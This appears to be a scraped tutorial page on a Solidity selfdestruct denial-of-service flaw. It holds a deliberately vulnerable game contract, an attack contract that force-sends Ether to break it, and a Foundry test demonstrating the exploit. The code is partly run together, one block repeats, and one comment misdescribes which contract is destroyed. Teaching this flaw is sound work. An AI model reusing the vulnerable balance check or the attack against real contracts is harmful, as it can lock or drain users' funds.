Contract EtherGame { uint constant public targetAmount = 7 ether; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; // vulnerable require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } } function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } }
Attack
contract Attack {EtherGame etherGame;constructor(EtherGame _etherGame) {etherGame = EtherGame(_etherGame);}function dos() public payable {// cast address to payableaddress payable addr = payable(address(etherGame));selfdestruct(addr);}}
ContractTest
contract ContractTest is Test {EtherGameEtherGameContract;Attack AttackerContract; address alice;address eve;function setUp() public {EtherGameContract = new EtherGame();//alice = vm.addr(1);alice = makeAddr("alice");// eve = vm.addr(2);eve = makeAddr("eve");vm.deal(alice, 1 ether);vm.deal(eve, 2 ether);}function testFailSelfdestruct() public {console.log("Alice balance", alice.balance);console.log("Eve balance", eve.balance);console.log("Alice deposit 1 Ether...");vm.prank(alice);EtherGameContract.deposit{value: 1 ether}();console.log("Eve deposit 1 Ether...");vm.prank(eve);EtherGameContract.deposit{value: 1 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);AttackerContract = new Attack(EtherGameContract);AttackerContract.dos{value: 5 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);console.log("Exploit completed, Game is over"); vm.prank(eve);EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.}}
forge test — contracts ./src/test/SelfDestruct.sol -vvvv
AttackerContract = new Attack(EtherGameContract);AttackerContract.dos{value: 5 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);console.log("Exploit completed, Game is over"); vm.prank(eve);EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.
Solidity basics for beginners: Learn the fundamentals of smart contract development and build your first DApp! #Solidity #Foundry #Ethereum #Opcodes #DApps